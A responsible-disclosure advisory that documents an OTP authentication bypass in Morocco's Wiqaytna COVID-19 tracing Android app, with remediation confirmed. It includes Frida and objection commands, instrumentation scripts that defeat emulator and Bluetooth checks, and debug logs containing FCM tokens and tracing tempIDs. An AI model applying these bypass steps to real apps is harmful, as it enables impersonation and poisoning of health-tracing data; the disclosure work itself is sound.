This urgent security advisory is about to describe a Major vulnerability discovered during the security assessment of Morocco’s COVID-19 Mobile Tracing Application Wiqaytna. It will start by going through a description of the vulnerability, then a Proof of Concept will follow before concluding on a suggested remediation.

Commit

481661f

Delivery

23/11/2020

Recipient

Name

Title

Company

Mohamed ■■■■■

■■■■■

■■■■■

Youssef ■■■■■

■■■■■

■■■■■

Mohamed ■■■■■

■■■■■

■■■■■

Nasser ■■■■■

■■■■■

■■■■■

Zouheir ■■■■■

■■■■■

■■■■■

Changelog

Date

Version

Changes

20/06/2020

0.1

Analysis Started

11/07/2020

0.3

Anamnesis & Static Diagnostic Completed

17/07/2020

0.5

Urgent Security Advisory with PoC Issued

23/08/2020

0.7

Remediation Confirmed

23/11/2020

1.0

Anonymisation and public disclosure

PUBLIC

This document is, unless contraindicated, under CC BY-NC 3.0 licence

1. Description

A Major vulnerability has been discovered during the security assessment of Morocco’s COVID-19 Mobile Tracing Application Wiqaytna.

It concerns a core component of the application (Authentication) and can be classified under A2:2017-Broken Authentication in OWASP Top Ten or CWE-287: Improper Authentication in Common Weakness Enumeration.

A malicious actor can leverage this vulnerability of bypassing the second step of authentication (OTP to a phone number) to potentially impersonate and register to the platform as any given phone number.

Depending on the data treatment behind the scenes on the platform, the impact could range from poisoning the COVID-19 Tracing dataset to real-life consequences as creating an artificial cluster targeting a person of interest or a rival company.

The vulnerability has been scored using the CVSS v3.1 risk assessment framework and can be summarize as follow:

OverallScore
Figure 1. CVSS Vector
Vulnerability 1. OTP

A2:2017-Broken Authentication / CWE-287: Improper Authentication

8.6

Major Vulnerability scoring 8.6

Finding

OTP for phone number verification can be bypassed

Impact

Depending on the backend data treatment, impact could range from data poisoning to real-life consequences as creating an artificial cluster targeting a person of interest or a rival company.

Recos

It is recommended to improve the security of the Authentication process by enhancing the implemented Firebase Authentication method.

Action plan is medium and should be taken into consideration in a very short term

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Radar
Figure 2. Radar view

2. Proof Of Concept

2.1. Preparation

It should be noted that tests were conducted using the official Android version (1.1.0 at the time of writing) available on the Play Store, and does not require any particular pre-condition to exploit the vulnerability. The following tests were nevertheless conducted on a rooted phone for simplicity purposes.

Tests were also conducted on a non-rooted device (Android Emulator running a Production Android 9) and provided the same behavior.
Emulated
Figure 3. Testing on a Non-Rooted Android Emulator

Hardware-wise, a rooted phone (Xiaomi Redmi Note 6 Pro) running on Lineage OS with the latest Android version (Android 10) was used to demonstrate the following Proof of Concept.

  • Make sure that frida server is installed and running on the phone:

$ curl -O https://build.frida.re/frida/android/arm/bin/frida-server

$ adb push frida-server /data/local/tmp/

$ adb shell "chmod 755 /data/local/tmp/frida-server"

$ adb shell "/data/local/tmp/frida-server &"
  • Make also sure that objection is installed on the testing computer:

$ pip3 install objection

2.2. Attack Vector

Let’s break down the Proof of Concept video:

  • [00:03] Launching Application covid.trace.morocco using frida:

$ frida -U -f covid.trace.morocco --no-pause
03
Figure 4. PoC video at the 00:03 mark
It should be noted that the start.js is completely optional and have no link with the attack vector: These Frida gadgets are merely helper to disable some onboot checks and to enable application logs for the sake of clarity.
  • [00:25] RegisterNumberFragment view is created and a random number is registered

25
Figure 5. PoC video at the 00:25 mark
  • [00:30] signInAnonymously is successful

30
Figure 6. PoC video at the 00:30 mark
Despite the fact that the OTP confirmation was not yet been submitted nor verified, the application is already signed in the firebase environment. Thus, bypassing the OTP screen is the only remaining step to continue the "normal" behavior of the application.
  • [00:33] objection is launched

$ objection --gadget covid.trace.morocco explore
33
Figure 7. PoC video at the 00:33 mark
  • [00:38] Bypass the OTP screen by calling the intent 'launch_activity' of the 'MainActivity'

$ android intent launch_activity covid.trace.morocco.MainActivity
38
Figure 8. PoC video at the 00:38 mark
By triggering the intent on the MainActivity, the application restarts the Onboarding Activity on the permission fragment, thus bypassing the OTP and Personal Information screens.
  • [00:42] Setting permissions

42
Figure 9. PoC video at the 00:42 mark
  • [00:58] Application fully operational

58
Figure 10. PoC video at the 00:58 mark
  • [01:01] Up to date COVID-19 statistics

0101
Figure 11. PoC video at the 01:01 mark

3. Remediation

3.1. Context

As the application source code is publicly available, it is possible to look for the OTP implementation through the following files by matching the corresponding log outputs.

RegisterNumberFragment.kt
private fun requestOTP() {
    mView?.let { view ->
        phone_number_error.visibility = View.INVISIBLE
        var numberText: String

        if (phone_number.text.toString().length == 10) {
            numberText = phone_number.text.toString().substring(1)
            CentralLog.d("used number", "$numberText")
        } else {
            numberText = phone_number.text.toString()
            CentralLog.d("used number", "$numberText")
        }

        val fullNumber = "$countryCode${numberText}"
        phoneNumber = fullNumber
        CentralLog.d(TAG, "The value retrieved: ${fullNumber}") (1)

        val onboardActivity = context as OnboardingActivity
        Preference.putPhoneNumber(
            WiqaytnaApp.AppContext, fullNumber (2)
        )
        onboardActivity.updatePhoneNumber(fullNumber)
        onboardActivity.requestForOTP(fullNumber)
    }
}
1 Phone number retrieved
2 FullNumber saved in AppContext
The phone number is registred as an Appcontext prior to OTP verification
OnboardingActivity.kt
...
// [START on_start_check_user]
public override fun onStart() {
    super.onStart()
    // Check if user is signed in (non-null) and update UI accordingly.
    val currentUser = auth.currentUser
    updateUI(currentUser)
}

// [END on_start_check_user]
private fun updateUI(user: FirebaseUser?) {
    val isSignedIn = user != null
    // Status text
    if (isSignedIn) {
        uid = user!!.uid
        CentralLog.i(TAG, uid) (1)
    } else {
        uid = ""
    }
}
...
fun requestForOTP(phoneNumber: String) {
    onboardingActivityLoadingProgressBarFrame.visibility = View.VISIBLE
    speedUp = false
    resendingCode = false
    auth.signInAnonymously()
            .addOnCompleteListener(this) { task ->
                if (task.isSuccessful) {
                    // Sign in success, update UI with the signed-in user's information
                    CentralLog.d(TAG, "signInAnonymously:success") (2)
                    val user = auth.currentUser
                    sendPostRequest(user!!.uid, phoneNumber)
                            .addOnSuccessListener {
                                navigateToNextPage()
                                updateUI(user)
                            }
...
1 User UID
2 Successful authentication
The authentication (signInAnonymously) is completed before validation of the phone number through an OTP.

3.2. Suggested Fix

It has been proven that the Authentication method used (Anonymous Authentication) is not secured enough and can be detrimental to the confidentiality, the integrity and the availability of the application.

Unfortunately, there is no quick fix for this vulnerability, as Google Firebase is the single point of failure in our case.

It may be suggested to use a different method like for instance the proper phone authentication:

PhoneAuthProvider.getInstance().verifyPhoneNumber(
        phoneNumber, // Phone number to verify
        60, // Timeout duration
        TimeUnit.SECONDS, // Unit of timeout
        this, // Activity (for callback binding)
        callbacks) // OnVerificationStateChangedCallbacks

Not only one should balance this solution with some security concerns as stated on Firebase API Documentation…​

"Authentication using only a phone number, while convenient, is less secure than the other available methods, because possession of a phone number can be easily transferred between users. Also, on devices with multiple user profiles, any user that can receive SMS messages can sign in to an account using the device’s phone number.

If you use phone number based sign-in in your app, you should offer it alongside more secure sign-in methods, and inform users of the security tradeoffs of using phone number sign-in."

…​but it also comes with an additional $0.06 per verification cost as priced in Firebase page.

In conclusion, fixing this vulnerability depends solely on finding a balance between end-user accessibility and the underlying costs, parameters that are out of scope of the present assessment.

A. Frida gadgets

// Bypass VM Check
Java.perform(function() {
 console.log("[ * ] Starting IsEmu override...")
 var IsEmu = Java.use("covid.trace.morocco.h");
 IsEmu.c.overload().implementation = function(){
     console.log("[ + ] VM check successfully bypassed!")
     return false;
 }
});

// Bypass Bluetooth check
Java.perform(function() {
 console.log("[ * ] Starting IsBTAvailable override...")
 var IsBT = Java.use("covid.trace.morocco.h");
 IsBT.b.overload().implementation = function(){
     console.log("[ + ] IsBTAvailable check successfully bypassed!")
     return false;
 }
});

// Set Should Log to true
Java.perform(function() {
 console.log("[ * ] Setting ShouldLog to True ...")
 var Central = Java.use("covid.trace.morocco.c.a$a");
 Central.b.overload().implementation = function(){
     console.log("[ + ] ShouldLog = True")
     return true;
 }
});

// Hijack logging stream to file
Java.perform(function() {
 console.log("[ * ] Attempting to hijack log stream...")
 var SDLog = Java.use("covid.trace.morocco.c.b");
 console.log("[ * ] Setting writable and sdcard to true...")
 SDLog.a.overload().implementation = function(){
     console.log("[ + ] {writable,sdcard} = true");
     return true;
 };
 SDLog.a.overload('java.lang.String').implementation = function(str){
     console.log("[ * ] Attempting to create new log file");
     var sb = Java.use("java.lang.StringBuilder").$new();
     sb.append("/data/user/0/covid.trace.morocco/files/SDLogging");
     var file = Java.use("java.io.File").$new(sb.toString());
     file.mkdirs();
     var out = Java.use("java.io.File").$new(file, "Wiqaytna_" + str + ".log");
     var fw = Java.use("java.io.FileWriter").$new(out, true);
     var bw = Java.use("java.io.BufferedWriter").$new(fw);
     return bw;
 };
// Hijack Logging stream to console
 SDLog.a.overload('java.lang.String','[Ljava.lang.String;').implementation = function(tag,msg){
     var lyoum = Java.use('java.util.Date').$new();
     // SHORT static int 3, LONG static int 1, MEDIUM static int 2
     var dateformat = Java.use('java.text.DateFormat').getDateTimeInstance( 3,3, Java.use('java.util.Locale').$new("FR","fr"));
     console.log("[ \\o/ ] "+ dateformat.format(lyoum) + " "+"["+tag+"]"+" : " + msg);
 };
});

B. Iconography

Iconography 1. Anomaly
Icon Label

Major Anomaly that could potentially lead to a vulnerability

Minor Anomaly that could disrupt the normal execution of the application

Low Anomaly or Information notice to be taken into consideration

Iconography 2. Complexity
Icon Label

Complex and out-of-scope actions impacts heavily on the application environment, undergoing an impact study that could potentially spawn over time is highly recommended

Actions have a Medium impact on the application environment, undergoing an impact study before mitigation is recommended

Actions are quick and simple enough to be undergone without an impact study but may require prior validation

Iconography 3. Confidentiality
Icon Label

Publishing a confidential information is detrimental to the security, integrity and availability of the application

Publishing a restricted information may cause prejudice to the security, integrity and availability of the application

This document is, unless contraindicated, under CC BY-NC 3.0 licence

Iconography 4. Impact
Icon Label

Critical vulnerability that will lead to a complete leak of sensitive information / total integrity loss / total availability downtime

Major vulnerability that could potentially lead to a complete leak of sensitive information / total integrity loss / total availability downtime

Medium vulnerability that could potentially lead to a partial leak of sensitive information / partial integrity loss / partial availability downtime

Minor vulnerability that have no direct impact on confidentiality, integrity or availability of the application, but could potentially be used in a more advanced attack scenario

Iconography 5. Security Level
Icon Label

Security level is Poor

Security level is Low

Security level is Perfectible

Security level is Good

Security level is Excellent

Iconography 6. Priority
Icon Label

Actions should be taken immediately

Actions should be taken within a month time frame

Actions should be scheduled within a 6 month time frame

Actions should be planified within a year time frame

Iconography 7. Typology
Icon Label

Affects the execution or the configuration of System components

Affects the Application Code

Affects Personally Identifiable Information (PII)

Affects the Application on a Global scale (System, Code and PII)

C. Backlog

❯ frida -U -l start.js -f covid.trace.morocco --no-pause
     ____
    / _  |   Frida 12.10.4 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawned `covid.trace.morocco`. Resuming main thread!
[ * ] Starting IsEmu override...
[ * ] Starting IsBTAvailable override...
[ * ] Setting ShouldLog to True ...
[ * ] Attempting to hijack log stream...
[ * ] Setting writable and sdcard to true...

[.] Debug check bypass
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : SpalshActivity, NOT-IDLE provider update suceeded
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : getStats response, NOT-IDLE {data={date={_nanoseconds=55000000, _seconds=1594924207}, new_recovered=144, regions=[{total=1,11 %, region=Beni Mellal-Khénifra​​}, {total=24,41 %, region=Casa Settat}, {total=3,55​ %​, region=​​Daraa-tafilalet}, {total=0,17​​ ​%​​, region=Dakhla-Oued Ed Dahab}, {total=11,99 %, region=Fès meknes}, {total=​0,89 %, region=Guelmim Oued Noun}, {total=4,97 %, region=Laâyoune-Sakia El Hamra}, {total=17,72 %, region=Marrakech Safi}, {total=​1,​86 ​%, region=Oriental}, {total=12,67 %, region=Rabat Salé Kenitra​}, {total=0,62 %, region=Souss-Massa}, {total=20,05​​ %, region=Tanger Tetouan Al Hoceima}], death=263, new_death=4, new_confirmed=283, covered=13965, total_tested=937170, confirmed=16545}, success=true}
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : SpalshActivity, NOT-IDLE FCM token: dBL58FCfSrCxZzKr6gNVpy:APA91bFWnJ8byo2z4ecHeCcw-z0gjgfJW8JqNp2KYBkJO5UXMLtnGq_S1wIxOZ_n22LFqvBJ5kQZBCNmnmDrkvTALTNK7hoA7lsgW3szb_436ovxZ7u7njyWND8_pVwbAGgB5Zh97wlJ
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FCMService, NOT-IDLE Refreshed token: dBL58FCfSrCxZzKr6gNVpy:APA91bFWnJ8byo2z4ecHeCcw-z0gjgfJW8JqNp2KYBkJO5UXMLtnGq_S1wIxOZ_n22LFqvBJ5kQZBCNmnmDrkvTALTNK7hoA7lsgW3szb_436ovxZ7u7njyWND8_pVwbAGgB5Zh97wlJ
[ + ] VM check successfully bypassed!
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE first_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE phone_number_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE Navigating to page
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE otp_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE setup_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : used number, NOT-IDLE 600000000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : RegisterNumberFragment, NOT-IDLE The value retrieved: +212600000000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OTPFragment, NOT-IDLE onUpdatePhoneNumber +212600000000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE signInAnonymously:success
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE Navigating to next page
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrollStateChanged
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE position: 1
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : OnboardingActivity, NOT-IDLE dl8Lg8F8CwgB2ETHw3EYQRS3EFx1
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [DEBUG] : OnboardingActivity, NOT-IDLE OnPageScrolled
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [WARN] : BTMService, NOT-IDLE bluetoothStatusReceiver is not registered?
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE Receivers registered
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE Service onStartCommand
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE location permission: false bluetooth: false
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : OnboardingActivity, NOT-IDLE dl8Lg8F8CwgB2ETHw3EYQRS3EFx1
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Making view
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE View created
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE Service onStartCommand
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : BTMService, NOT-IDLE location permission: false bluetooth: true
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:22 [INFO] : RegisterNumberFragment, NOT-IDLE Detached??
[Redmi Note 6 Pro::covid.trace.morocco]->
[Redmi Note 6 Pro::covid.trace.morocco]->
^C
Thank you for using Frida!
❯ frida -U -l start.js -f covid.trace.morocco --no-pause
     ____
    / _  |   Frida 12.10.4 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Spawned `covid.trace.morocco`. Resuming main thread!
[Redmi Note 6 Pro::covid.trace.morocco]-> [ * ] Starting IsEmu override...
[ * ] Starting IsBTAvailable override...
[ * ] Setting ShouldLog to True ...
[ * ] Attempting to hijack log stream...
[ * ] Setting writable and sdcard to true...

[.] Debug check bypass
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : response hours elapsed, NOT-IDLE 6
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : SpalshActivity, NOT-IDLE FCM token: dBL58FCfSrCxZzKr6gNVpy:APA91bFWnJ8byo2z4ecHeCcw-z0gjgfJW8JqNp2KYBkJO5UXMLtnGq_S1wIxOZ_n22LFqvBJ5kQZBCNmnmDrkvTALTNK7hoA7lsgW3szb_436ovxZ7u7njyWND8_pVwbAGgB5Zh97wlJ
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : SpalshActivity, NOT-IDLE provider update suceeded
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : getStats response, NOT-IDLE {data={new_recovered=144, date={_nanoseconds=55000000, _seconds=1594924207}, regions=[{total=1,11 %, region=Beni Mellal-Khénifra​​}, {total=24,41 %, region=Casa Settat}, {total=3,55​ %​, region=​​Daraa-tafilalet}, {total=0,17​​ ​%​​, region=Dakhla-Oued Ed Dahab}, {total=11,99 %, region=Fès meknes}, {total=​0,89 %, region=Guelmim Oued Noun}, {total=4,97 %, region=Laâyoune-Sakia El Hamra}, {total=17,72 %, region=Marrakech Safi}, {total=​1,​86 ​%, region=Oriental}, {total=12,67 %, region=Rabat Salé Kenitra​}, {total=0,62 %, region=Souss-Massa}, {total=20,05​​ %, region=Tanger Tetouan Al Hoceima}], death=263, new_confirmed=283, new_death=4, covered=13965, total_tested=937170, confirmed=16545}, success=true}
[ + ] VM check successfully bypassed!
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : response hours elapsed, NOT-IDLE 6
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE home_screen_setup_incomplete
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : update time, NOT-IDLE 16 يوليوز 2020 19h
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : HomeFragment, NOT-IDLE On Battery Optimization whitelist
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : FirebaseAnalyticsEvent, NOT-IDLE home_screen
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : BTMService, NOT-IDLE Creating service - BluetoothMonitoringService
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [WARN] : BTMService, NOT-IDLE bluetoothStatusReceiver is not registered?
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Receivers registered
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Service onStartCommand
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [INFO] : BTMService, NOT-IDLE Command is:START
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : Scheduler, NOT-IDLE Purging alarm set to 86400000
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : BTMService, NOT-IDLE Action Start
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE getTemporaryIDs called
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : MainActivity, NOT-IDLE FCM token: dBL58FCfSrCxZzKr6gNVpy:APA91bFWnJ8byo2z4ecHeCcw-z0gjgfJW8JqNp2KYBkJO5UXMLtnGq_S1wIxOZ_n22LFqvBJ5kQZBCNmnmDrkvTALTNK7hoA7lsgW3szb_436ovxZ7u7njyWND8_pVwbAGgB5Zh97wlJ
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : HomeFragment, NOT-IDLE Remote config fetch - success: false
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : getStats response, NOT-IDLE {data={new_recovered=144, date={_nanoseconds=55000000, _seconds=1594924207}, regions=[{total=1,11 %, region=Beni Mellal-Khénifra​​}, {total=24,41 %, region=Casa Settat}, {total=3,55​ %​, region=​​Daraa-tafilalet}, {total=0,17​​ ​%​​, region=Dakhla-Oued Ed Dahab}, {total=11,99 %, region=Fès meknes}, {total=​0,89 %, region=Guelmim Oued Noun}, {total=4,97 %, region=Laâyoune-Sakia El Hamra}, {total=17,72 %, region=Marrakech Safi}, {total=​1,​86 ​%, region=Oriental}, {total=12,67 %, region=Rabat Salé Kenitra​}, {total=0,62 %, region=Souss-Massa}, {total=20,05​​ %, region=Tanger Tetouan Al Hoceima}], death=263, new_confirmed=283, new_death=4, covered=13965, total_tested=937170, confirmed=16545}, success=true}
[ + ] ShouldLog = True
[ \o/ ] 17/07/2020 02:23 [DEBUG] : TempIDManager, NOT-IDLE tempIDs: [{expiryTime=1594942692, startTime=1594941792, tempID=yksBw+9AHuQweFRbd8J3CCYlH57JkOkuun2pOgPExSuYgjpYqTgMBJj3PoCj/OcZsPTp3LSck17YUyRyVA==}, {expiryTime=1594943592, startTime=1594942692, tempID=QIjzcEd9L4hf7LH6OkUyf+SvXmxuwz1Qqi/aIZ98Q5sobWQyafFzT2f8fxn7Ixm+f9BZX1j2ZPrLGp38jA==}, {expiryTime=1594944492, startTime=1594943592, tempID=uA1f8/CGhkDp0QjrhoVg+lDcmAdoj/gPA9uO7pN53PuGMOIvXr3pJJfhr0PKM/3rW3kYBTo1sAvD/OkGqg==}, {expiryTime=1594945392, startTime=1594944492, tempID=4wx5ibP2l78WGWAJeWztA9yxRkFU7Ftt7KlACzeGavkY66XvIrJt/RibPeHnv9heJUgzX8cFUdR2csbqCw==}, {expiryTime=1594946292, startTime=1594945392, tempID=ZhwcP566i0p5Uu2/ra5cb8TJ0Ce40L4ViznSSrmtxbNAhbUDOWcn0al+vMsKxKZnffliqcGBnH7ZSy5A+w==}, {expiryTime=1594947192, startTime=1594946292, tempID=+fS0lrMsQUllKARqrzJLDL+Ev4MKOrupWsqf5+6XdV9B73h4MXsyvQiw4fELSCvMVUpu26ZfLn3OP1mLsw==}, {expiryTime=1594948092, startTime=1594947192, tempID=4v74m9A9+KNc8hxWvPck0XMyBanQ7WhjcI4cg40AjhHucvTCsjImr/rl9ifZwhulAxi5IBgK777+B3wA0A==}, {expiryTime=1594948992, startTime=1594948092, tempID=D72cvYBdeVp6uQLZtA0V4cqOQhiYcL+aKuQbQBlpH2uiT9NheLkS733radmjC2SBv9nGXLZ8xEHt7XB4PQ==}, {expiryTime=1594949892, startTime=1594948992, tempID=NSOFHeC1mRCjYtMtfdSamWReWL/qyVPGcR4Pub9dO+MLIYGkYHYHn4WqThHoCdW16leRiSpzsvQrvyBh5g==}, {expiryTime=1594950792, startTime=1594949892, tempID=32s9PedFvWpsesNB4zcobKH7VyTvms/dGNemTVhDpaKRRrpAmmMKnLQ7sn4TnUIaQljWcY5XRQg22vm+Jg==}, {expiryTime=1594951692, startTime=1594950792, tempID=LMpZDBh60XRTt5jAcF8fG18f0dgpTMWMFMiyrmv2dl3B7Ns1JULhzFIkw5YQKw4nKmt5bO3bd4t5ZHWBBg==}, {expiryTime=1594952592, startTime=1594951692, tempID=iSOmP3U6KjRG5wAMhizw3uWMlVlyE1NEOapXl41II8EDRKqiOQdHRdrOAey0vh4+kPAVdJtsJ2555QkQ1Q==}, {expiryTime=1594953492, startTime=1594952592, tempID=D89HPOrPz2R7D5xxGMi7RWD6AZgP5aO3Y0pgM8w4ezNLFAjriHqye5U1I1BUmMEE6w8nWSEdICfSCyVSOg==}, {expiryTime=1594954392, startTime=1594953492, tempID=Eaan2fB9cP5HpapOVJ+II7HhfqtTyuX9wkSfQKLhPrqeeFopI6o7FNGZGirQ86aHpjXlksCH8iowh6S9Hg==}, {expiryTime=1594955292, startTime=1594954392, tempID=4vptxbO/1EcpdSQLDgzr4MLIhXfX6/gqKeEHeHgdonbZMuGkQ0mbD4rUI6xtZ5C7PCQRLr95O+ShppEFiA==}, {expiryTime=1594956192, startTime=1594955292, tempID=eLVioiIAU0cbYZ8eo6Lhrh3vCO1lXnc8eNtyRGBl73ALHIivP6qHC8yPaV55u6SfPcNfx6IRVojcsRTjrA==}, {expiryTime=1594957092, startTime=1594956192, tempID=drOWZj1FhL4kllymcdMxla1yv1UajsOHW4z8JRcdIEJ7OW/q4SCVfssEzso74niRgf+0wGarebijByaYbg==}, {expiryTime=1594957992, startTime=1594957092, tempID=T9xjxHw2cXwcCHb7sisbNAEn6veOvz18NSeIMQXm2T9PTuNWcDbBKGJNIv3LXmIXJ4HF503As8oskSFLEg==}, {expiryTime=1594958892, startTime=1594957992, tempID=FKb6EMP3CxmMYg/3n2tCNZzJCVGXfymhgBnjkqkgMRlcr7w61IjEjgKhcoGSjXeexDNRNPfmdJQZpiJNrA==}, {expiryTime=1594959792, startTime=1594958892, tempID=q1LK0NgLB8jYvrpWXKUQy+lWrDTY1SxY3dwT+H01cpbgqvAP6hS9wJhKHCEPBURz0pGd9UPQjJbxkhbX7Q==}, {expiryTime=1594960692, startTime=1594959792, tempID=5Ha/CCjgCm4y0QEyPY53AuhIV/4WUxRNIKuFIjw4i0qF4z1f23AGqfjOLYlzQ5MgH7cl+z22EcsxYQNgyQ==}, {expiryTime=1594961592, startTime=1594960692, tempID=tVUkpLHmYCYbc0fPbbM6y1tUGzuOtDsxmvNs3piGzLT7WE0ITFB8xsVdTKbqT0cfPaCkhCoG0WZUkTAwbg==}, {expiryTime=1594962492, startTime=1594961592, tempID=T9CmKisdc1tC+QhZwUtAr2Ga7Pd707LYLBJl1Y/qcWhQnl2Q7oBJaNrFVkerQUB3nNIIxoxqq0rEFyT8Mg==}, {expiryTime=1594963392, startTime=1594962492, tempID=Beh1tJAsrD0G20rH2WyTqYxwOnJOvOCPhtH5FhfATqfCeh7VsceiJDmM5fWKFQFohRPZ0T4TAJTeEcl/iw==}, {expiryTime=1594964292, startTime=1594963392, tempID=L64XrHyIbZFb3rUK4EucluXjM6TT4n8h6jgd5nB7dADwnLPf9f/N3Kxk6CM17R02wM7VtqQKG7m/kidkGg==}, {expiryTime=1594965192, startTime=1594964292, tempID=DRYQagmRLPvVuvJQ0PhjnSovffYBWKKLtSwMfr/vamUj+3dexnXOe7xSgWgvC95rdO6XJBiVVgpPET6AjA==}, 